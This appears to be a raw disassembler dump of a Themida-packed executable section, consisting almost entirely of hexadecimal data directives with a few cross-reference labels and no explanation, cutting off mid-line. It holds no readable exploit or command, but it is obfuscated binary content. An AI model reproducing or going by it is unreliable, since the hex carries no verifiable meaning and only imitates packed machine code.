10519D8Bh, 95890615h dd 8, 0E91BB7h, 8D000000h, 194304B5h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0FDAAA401h, 12E896h db 2 dup(0) word_5C631E dw 0C284h ; DATA XREF: Themida_:00579C54o ; Themida_:0057AACCo dd 27654EF3h, 6C14CB40h, 0F0011691h, 864A0078h, 0E026F781h dd 6A5F6B2Ah, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0AD89D02h, 0E2EAA2D6h, 95FFD1DDh dd 6152E21h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0DBC35141h, 0A3494FBBh, 1D85897Ch, 0F061515h, 68Eh dd 9DBD0900h, 0B9061510h, 1043h, 68B0F60h, 33000000h, 151A5595h dd 6870F06h, 89000000h, 1521E98Dh, 0E1836106h, 55006AFCh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0E8541B94h, 11h, 0F5FCB0B6h, 0C8A86DC4h, 22F4F229h dd 200F4401h, 0EE937h, 0AC180000h, 7B2FD1FCh, 0D37CA7DAh dd 0CA6EAAD7h, 0BD01605Bh, 6151359h, 225BD89h, 0FC610615h dd 0B8DFBF0Fh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0B4C35242h dd 71AE3ADAh, 199D8BB3h, 2B061502h, 57006AD2h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 81AFE01Dh dd 0D3811C99h, 69B6424Eh, 12E9h, 0B9D15E00h, 0ED057B10h dd 116D8F10h, 29B0C9DBh, 0AD59B3CAh, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 3139C357h, 15256995h, 880D06h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0D981EFC3h, 0B92FFFF5h, 0B59D23D6h, 8B061517h dd 15272195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 512C1C3Fh, 7E94Dh, 1B560000h, 252F5B3Eh dd 0CD8D8BE5h, 6A061504h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0E730C351h, 0BD8B4A3Bh dd 6150BA1h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0D92B85C3h, 6A79EFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0F5B6EBC3h, 0A9BD8346h dd 61518h, 9C840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 28CC7FC3h, 0C99D8B5Fh dd 0F06151Ch, 68Dh, 618D8900h, 0B806151Ah, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 15C35545h dd 4865194Ah, 0B09A8B2Dh, 2585BD01h, 0BD030615h, 6151135h dd 4F9E8D8Dh, 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0E70820C3h, 5C5E0EC3h, 2571BD8Bh dd 0E1FF0615h, 29659529h, 0BD830615h, 6151115h, 7F840F00h dd 66000004h, 4940CF81h, 1115BD83h, 0F010615h, 48884h dd 0C19D8900h, 83061527h, 151115BDh, 860F0306h, 43Fh, 1A8ABB66h dd 55006A60h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0DF81A08Eh, 1B14C8F6h, 81D98C66h, 32DDE3h dd 259D232Ah, 80061502h, 6A04E1h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0B99AAAC3h, 0A8D4E4Bh dd 2F840FC9h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0F6CC357h, 0E8Ch, 0BD036000h dd 615002Dh, 2B158501h, 8B610615h, 15249D85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0C0D932F2h, 9D8B0E5Fh, 6152D41h, 2F819589h, 8B0F0615h dd 6, 0FC1BD8Bh, 85330615h, 61519B5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 2DC35545h, 0B7506F1Bh, 2404891Ah dd 6799509h, 6A0615h, 59B8C781h, 4E87D8Ah, 0FF000000h dd 0E8001F03h, 5, 335F5BCEh, 0FA8B660Eh, 8F0F505Fh, 0 dd 424448Bh, 0E87FB460h, 6, 0CCC8D57Ch, 0AE88483h, 6D000000h dd 0ADC017FFh, 0A92F2F05h, 615B5A68h, 0BB66008Bh, 44893EE8h dd 0F98B0424h, 0AD95FF58h, 8906150Dh, 18BF9985h, 3EE9FC06h dd 6A000002h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0E4FBC355h, 438B542Fh, 2351B589h dd 858B0615h, 618BF91h, 6840Fh, 95310000h, 6152AA1h, 1800C7h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 160B98C3h, 8166E40Bh, 8BD185CBh, 18BF95B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 3CC39D0Fh db 0E9h, 13h word_5C685A dw 0 ; DATA XREF: Themida_:0059E90Fo dd 0DCF2C100h, 0A0D524ABh, 640012CFh, 505DB220h, 0ED7281E6h dd 189D8D89h, 858B0615h, 6150C45h, 14E8h, 90E1C100h, 0DFB64522h dd 702072B2h, 0AE43861Fh, 0C373FB18h, 0D595893Ah, 5B061518h dd 6A0689h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0DEBD25C3h, 8B55FE07h, 15249D85h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 2FBBFB20h, 0FE8B2905h, 6A044689h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 27BFC356h dd 2A6DB529h, 0D98B0615h, 12E996h, 21350000h, 1E105689h dd 0C151AB7h, 0B3075985h, 8A16F884h, 0BF525050h, 1D778214h dd 850F310Fh, 6, 820Fh, 585A0000h, 0DD9D8B96h, 0FF06150Bh dd 18BF91B5h, 0D3816606h, 0FEB38EBEh, 4E8h, 1F03FF00h dd 35BF5000h, 8B1AB5A5h, 66042444h, 8BFA8Bh, 5880Fh, 7BBF0000h dd 89774CF7h, 0E8042444h, 13h, 6503BACBh, 40884A9Ah, 0E7641522h dd 8F4A7B3Fh, 5BCF8787h, 14E958h, 83680000h, 0C321AF00h dd 0C4EB95E0h, 9F99820Bh, 4062446h, 858D7A73h, 618BF99h dd 50EFC780h, 4755BF50h, 895F135Ch, 6A2404h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0F7B539C3h dd 66BD3660h, 0FFFAD0BFh, 150DAD95h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 2ABB6637h dd 6A6156h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0EFA0B5C3h, 85C7B926h, 6151115h, 3, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E9C35040h, 0B271FFB7h dd 78BB6604h, 99BD83B4h, 618BFh, 39840Fh, 0BE90000h, 2D000000h dd 86368B39h, 0EE9B08E4h, 3FE9459Fh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 9156C353h, 0C1C78158h, 5062E1E9h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0CEBA1CC3h dd 9DBD23BDh, 6A061517h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0D3D7C353h, 7ADFAE80h dd 0A98BB48h, 0BD8346E6h, 6151115h, 31850F03h, 0F9000004h dd 832BCB80h, 18BF99BDh, 840F0006h, 420h, 15820Fh, 9E80000h dd 60000000h, 0B5CF593Dh, 0F160E8ADh, 1065BD33h, 0FF5B0615h dd 18BF99B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 39D00D6Bh, 0FCBFB10h, 68Fh, 3D858900h dd 0FF061504h, 1510E195h, 4319BF06h, 8BFC2C1Bh, 18BF8DB5h dd 41852906h, 0C7061529h, 1000106h, 965B5600h, 0DA8B5250h dd 8B66310Fh, 50585ADEh, 5E9h, 3D61E600h, 57963F10h, 0CF9BD89h dd 0FF5B0615h, 18BF99B5h, 13810F06h, 0E9000000h, 0Eh, 99B05934h dd 0F653AC1Dh, 9E3D6FB4h, 95FF7BE8h, 61506A1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B5C35646h, 603B3EFBh dd 1A4D9D89h, 8B610615h, 18BF8DB5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 8CE43A18h dd 17F19531h, 858B0615h, 6150059h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 24C35141h, 1D9DF9EDh, 0C48689C8h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0EF25C355h, 2825BD89h, 958B0615h dd 6152721h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0C3C35141h, 0E96E68Fh, 38289F5Bh, 831BDF80h, 816604C2h dd 897A0DD7h, 6A2050h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 858DF3C3h, 618D458h, 5C19D0Bh, 86890615h dd 0B8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 89C35141h, 0B28D022Dh, 8B57F3C8h, 151CFD9Dh, 0E7815B06h dd 17D19D95h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0F8B429C3h, 0D3B952A6h, 0D81BD29h dd 0FE80615h, 3000000h, 0FD78A3A5h, 0F2E4E02Ch, 95B19161h dd 0BD8BE502h, 615005Dh, 99B5FF5Bh, 6A0618BFh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 4361C356h, 89630B73h, 15251DBDh, 259D8B06h, 0FF06152Bh dd 151D4D95h, 0A1958906h, 57061519h, 8959D8Bh, 505B0615h dd 0CE8h, 6617E500h, 55EC2678h, 8CA91BB7h, 14E9600Bh, 81000000h dd 17D2F689h, 39548BDh, 0B445D8AEh, 0D4024A34h, 0E99ADF8Eh dd 13h, 6EA6BCC4h, 1A42630Eh, 0B357FB2h, 0F8C154BDh, 61383B2Dh dd 2434895Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 2EC35343h, 0BB66D002h, 0B5FF2761h, 618BF99h, 4880F56h dd 66000000h, 5BF25CBFh, 72995FFh, 0CF810615h, 2BA25792h dd 65BD83h, 0F000615h, 2E84h, 0D19D3300h, 6006151Ch, 8899D31h dd 8B530615h, 966159D9h, 8E850h, 0EF2B0000h, 6F809A7Bh dd 0D8BFDCC9h, 5F0F6E98h, 0FD8D8996h, 0FF06152Fh, 18BF99B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 70412F77h, 9D23FBF6h, 6152EE1h, 10ADBD8Bh dd 95FF0615h, 6150439h, 0E96BBF66h, 0BF99B5FFh, 6A0618h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0BA0F1C3h, 0CD95FFFEh, 6A06150Dh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 853DC350h dd 0F921B460h, 58C0Fh, 81660000h, 8390EFCFh, 15285DBDh dd 840F0206h, 3Ah, 0AD9D8956h, 5F061510h, 2849858Bh, 0BD8B0615h dd 615140Dh, 6A0000C6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 6539C353h, 27499D8Bh dd 85C70615h, 61523F5h, 0 dd 0FFF1C4E9h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 28C85101h, 211BEF4Bh dd 0C18BACF7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0BFC35343h, 0FE8BDh, 658E0000h, 0AE89E967h, 24832C86h dd 1D9DF9EDh, 0C9BD2BC8h, 5B061510h, 28598509h, 858D0615h dd 615279Dh, 1A498D89h, 0E8500615h, 9, 62B2C6Eh, 254E891h dd 5B87B36Eh, 6A240489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0EF17C350h, 0FC396437h dd 6A2AB12Ch, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0CB2B9FD4h, 0ECA5251h, 6AB747h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 18C35141h, 0ED38A4DFh dd 1C819D8Bh, 858D0615h, 619D742h, 14598589h, 0C0830615h dd 4895005h, 0BE924h, 0C1A90000h, 0E1326AFBh, 8629D4A3h dd 56006AA5h, 5B88EF80h, 8166006Ah, 0FFF0A1F3h, 15267995h dd 8DF98B06h, 189C158Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0C7C3EE77h, 2631C300h dd 66D1FF5Bh, 0BD83DF8Bh, 6152DB5h, 7E850F01h, 6A000000h dd 51006A02h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 3E9B78E1h, 50901CDBh, 5800F52h, 0BF000000h dd 1EABB94Dh, 0CE9310Fh, 31000000h, 5AB0C4B2h, 0B965C01Fh dd 5A78A2CCh, 0B9B35058h, 57006A90h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 8F34435h, 4D95FF40h dd 6006151Dh, 0EB8CF8Bh, 61383555h, 0D91E24BBh, 104AE975h dd 0E80000h, 5D000000h, 0D74CED81h, 6A0619h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0ED7EADC3h dd 12D329BBh, 8A90CBDCh, 0F9858DF9h, 6A061888h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0E4E9C356h, 0F98B6675h, 608765BFh, 83B3905Ch, 90DF8B50h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E1C35141h dd 7654ECF7h, 0FF646D61h, 35h, 9DF8000h, 258964h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 1712C352h, 572A61FDh, 68C0Fh, 0BD8B0000h dd 6151A69h, 3585FF5Fh, 6A061515h, 52006AFFh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 78B4A933h dd 66A60174h, 0FF4A38BFh, 152921B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0B1022938h dd 0EE920h, 6AE20000h, 71941453h, 259E70B9h, 0EFAAAEh dd 280D9D8Bh, 95FF0615h, 61508BDh, 135E9h, 0DFBF0F00h dd 958900B0h, 6152A5Dh, 8D8970E6h, 6150E01h, 0B70F71E4h dd 0F613CDFh, 11583h, 6E85300h, 64000000h, 0EA3FD063h dd 5B5FFC7Dh, 0FC8B60Fh, 1881h, 13E900h, 54720000h, 0F7B1A3ECh dd 835F6BBCh, 5768C369h, 0C75B165Bh, 6BA28h, 0C18B0000h dd 0EE8FC60h, 8D000000h, 79177E17h, 95725916h, 43B6D1C5h dd 0E595091Eh, 5B061506h, 4E8C161h, 4A99D8Bh, 0F7660615h dd 29DA8BE2h, 150C6D8Dh, 89C82B06h, 15216D85h, 12E806h dd 47B60000h, 3258CEAFh, 0F919B677h, 5031E521h, 330FED8Ah dd 6840Fh, 0CF810000h, 765B23DEh, 8BD18B5Fh, 1503F59Dh dd 74E906h, 0E3810000h, 20719AC5h, 22299589h, 858B0615h dd 1, 7E59D89h, 0B5890615h, 6150A95h, 6607C083h, 794BDF81h dd 5700C083h, 174DBD01h, 3B5B0615h, 8830FD0h, 8B000000h dd 34E9FEh, 8BF50000h, 0FFFFFF8Dh, 0DA8B66FFh, 0F01E183h dd 2184h, 3CBB6600h, 0FFA5836Eh, 0FEFFFFFFh, 0E9E78166h dd 19589B7h, 89000000h, 1521E5BDh, 0E906h, 0B58D0000h dd 6195347h, 2F219D8Bh, 0BD890615h, 6150ACDh, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 20CE27C3h, 60D2C5FCh, 20FD8D31h, 0B5890615h, 6150DC9h dd 8DB58961h, 0FF061517h, 152E2195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 78F2E5D8h dd 608BC312h, 0BFF88B7Ah, 4D4DBD47h, 0E8DB9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0E1E33547h, 53BEA2E2h, 0FCE18368h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0CCC35545h, 0A4F1B7FBh, 9BAE441Ah dd 6AFCDA8Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0DA2AC353h, 6CB4FD50h, 15958931h dd 89061502h, 15054D8Dh, 0B806h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0EEA11EC3h dd 0BA3CC5h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 4CAAC353h, 10E9h, 0A1657800h dd 0D94C90EBh, 745243CAh, 0D68543B3h, 0C233AD8Bh, 0D003E8D1h dd 7504E983h, 51006AF4h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 0E2E3207Bh, 8E9h, 0C6349000h, 90C49262h dd 880D0Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 3D6729C3h, 0A1AEEA46h, 21958BDEh dd 0E9061527h, 0Fh, 9425FC00h, 0E5A94220h, 41C7EAC9h, 0F0EEF58h dd 68Eh, 119D0900h, 8B061501h, 1504CD8Dh, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 8CFA4283h, 4274E332h, 62BF66B5h, 0C28B5074h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F2DCC351h dd 0DB8F6EE9h, 292981DFh, 0D5858960h, 0B8061525h, 375A9413h dd 318D8961h, 6A061505h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 94DAC353h, 0F275F5AFh dd 7E9F568h, 0B5000000h, 25910D92h, 0BD83F797h, 61518A9h dd 0B0840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 843EC357h, 3F282C25h dd 0E9163AF2h, 7, 0E31A9DA4h, 0B88F501Ch, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0CAC35545h dd 0BD8B5440h, 615093Dh, 1031BD09h, 8D8D0615h, 6154F9Eh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 2FC35747h dd 0E92ACE51h, 7, 572A5FFCh, 0F5429AEDh, 6AE1FFh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 830623C3h, 151115BDh, 840F0006h, 533h, 12E8h, 3EBAEC00h dd 0B6EE40E4h, 419D5532h, 23BCEFD6h, 66FDFF53h, 5FEA9ABFh dd 1115BD83h, 0F010615h, 52584h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 95896021h dd 6150829h, 1D498D01h, 83610615h, 151115BDh, 860F0306h dd 4B8h, 0DF8B6652h, 6A605Fh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 793820C3h, 5B4EF101h dd 8B6601DFh, 0D98C66FAh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 6C35141h, 5EB5B6ABh, 6E0CE8F9h, 8E8D4h dd 8F9D0000h, 82E2090h, 0BF66F0B5h, 0E85F76ECh, 10h, 0C7F311B5h dd 27C38EF0h, 33FDC9DEh, 0ACEA0CA4h, 10D2BB66h, 4E1805Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0EC35040h dd 8162CFF0h, 13CFA3EFh, 419D8918h, 0A061503h, 5B840FC9h dd 89000001h, 150BE995h, 9D858B06h, 66061524h, 0B5CEE381h dd 19B58533h, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 8B50F2C3h, 240489D8h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0A1C35747h, 6236DF1Ah dd 6AA3E780h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0E813FE9Dh, 4, 1F03FFh, 0E8605250h dd 9, 0F72B8B5Ch, 0D1DFEB86h, 8B665EC8h, 310F61D8h, 9E8h dd 6CF5B400h, 833A0180h, 830F1FDAh, 0 dd 50585A5Fh, 1DEDC3BBh, 24448B7Eh, 8DBB6604h, 0B3008B39h dd 24448989h, 0F26EBB04h, 6A581FB5h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 27BAC350h dd 0D87DD66Fh, 0DE86C0EAh, 5E8h, 0C7282400h, 6060A7EFh dd 0CDBD8961h, 6106150Ch, 0AD95FF5Bh, 0E906150Dh, 13h dd 0D4A0D40Ch, 7D98DE54h, 58A85DFAh, 6D9BDDFCh, 89234465h dd 18BF9985h, 65BD2B06h, 0E9061508h, 213h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F7C35545h, 23410055h dd 858B97C6h, 618BF91h, 8E8h, 7A226F00h, 47620DBDh, 69BD895Bh dd 5F061500h, 1800C7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 3C0222C3h, 85D46F95h dd 1DBD0351h, 8B061516h, 18BF95B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0D8E53E9Dh dd 0F19D8942h, 0F061509h, 680h, 0F99D8B00h, 8B061511h dd 150C4585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 3E65DF9Fh, 7DA442FDh, 99BD8B6Eh dd 8B061508h, 1503219Dh, 0F068906h, 858BD9B7h, 615249Dh dd 169D9529h, 46890615h, 10E804h, 9CE70000h, 697A3667h dd 22BF7A14h, 9D8E62EAh, 810FB44Ch, 6, 2072F381h, 505F2C35h dd 6E9h, 3DE43100h, 893E4135h, 6A2434h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0AC7286C3h dd 43BBBB1Eh, 0FF6D1361h, 18BF91B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0C72390E8h dd 66FA8B66h, 689846BBh, 0DD329E34h, 198E0Fh, 14E90000h dd 9B000000h, 14486627h, 1F1EE8CBh, 46C478A4h, 26B9DFC3h dd 8189A1D3h, 65CB2404h, 6A22ECh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0ED6799C3h, 0BF99858Dh dd 0E8500618h, 10h, 0DB3812D7h, 0E06846h, 0A0D5522h, 413E61C9h dd 2404895Fh, 53E38166h, 0AD95FF4Ah, 6A06150Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 4304C357h, 0FA729CA4h, 8D89605Ch, 615045Dh, 816AC681h dd 616168E5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 3EC35545h, 0C70EB787h, 15111585h, 306h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BD33E52Bh, 61517F1h, 0BF99BD83h, 0F000618h, 5B84h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 309E551Dh, 0E9189BE2h, 4Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0ABC35545h, 68E0Fh dd 9D010000h, 61516F1h, 1E91BD33h, 0BD890615h, 6153015h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 8630C351h, 52006ACEh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 81A3C76Ch, 48B2EDE3h dd 12E93Ch, 646A0000h, 0EEFEDE02h, 1080D584h, 7813BD18h dd 0BA6B39CDh, 1115BD83h, 0F030615h, 48085h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 68524FFEh, 6476914Ch, 13E9504Eh, 24000000h, 0D3ADAE3Eh dd 0CF210316h, 57B86C0Dh, 0DEEF686Bh, 8D093A81h, 6152309h dd 0BF99BD83h, 0F000618h, 43084h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0BF66A1E4h dd 0B5FF2CCEh, 618BF99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 16C35545h, 57A75B36h, 0F041AF20h, 10E195FFh dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 97BBC3C3h, 7CB0363Dh, 0B58B918Ah, 618BF8Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 49C35545h dd 106C7BDh, 8B000100h, 1522D9BDh, 0D7B75006h, 6A243489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 6AE9C355h, 17482FA8h, 66BEA893h, 8E3FF381h dd 0BF99B5FFh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 2A2E92C3h, 5F2F7590h, 95096BA7h dd 6152789h, 6A195FFh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 749F17C3h, 0CE9h, 8BB8600h dd 6B29C3B8h, 0D1E7368Ah, 8DB58BE0h, 6A0618BFh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0D71EC355h, 0DA8B66CFh, 10E8h, 392BA500h, 0D0E6F129h dd 0E2DB1458h, 716CF4E4h, 108A0F01h, 0E8000000h, 0Ah, 8108BAAEh dd 4514823Ch, 5B5B2588h, 59858Bh, 6A0615h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 606EC9C3h dd 28658D29h, 0BD8B0615h, 6150641h, 0C4868961h, 29000000h dd 152D01B5h, 21958B06h, 0F061527h, 685h, 5858900h, 0F061517h dd 80h, 4C28300h, 76E78166h, 2050898Ah, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 18h, 71C35343h, 86BB725h dd 13E9h, 8C190300h, 7B462C1Bh, 7A44F6A3h, 24341E4Fh, 0C08DFCCh dd 0D458858Dh, 8B660618h, 0B88689D9h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 881EC355h, 96673CD4h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 28F816C3h, 2FEAE15Bh dd 1A159D89h, 0B5FF0615h, 618BF99h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 87C35343h, 0C878688Eh, 2EFB4599h dd 1D4D95FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0F82C55C3h, 99BD2B6Eh, 9606150Dh dd 94805EBFh, 0FC8A504Eh, 55006A96h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0ED1DA093h dd 0B5FF2298h, 618BF99h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 79C35747h, 29E0B5F8h, 1511C5BDh, 2995FF06h dd 6A061507h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 898BC352h, 1533E18Dh, 65BD8306h dd 61500h, 23840Fh, 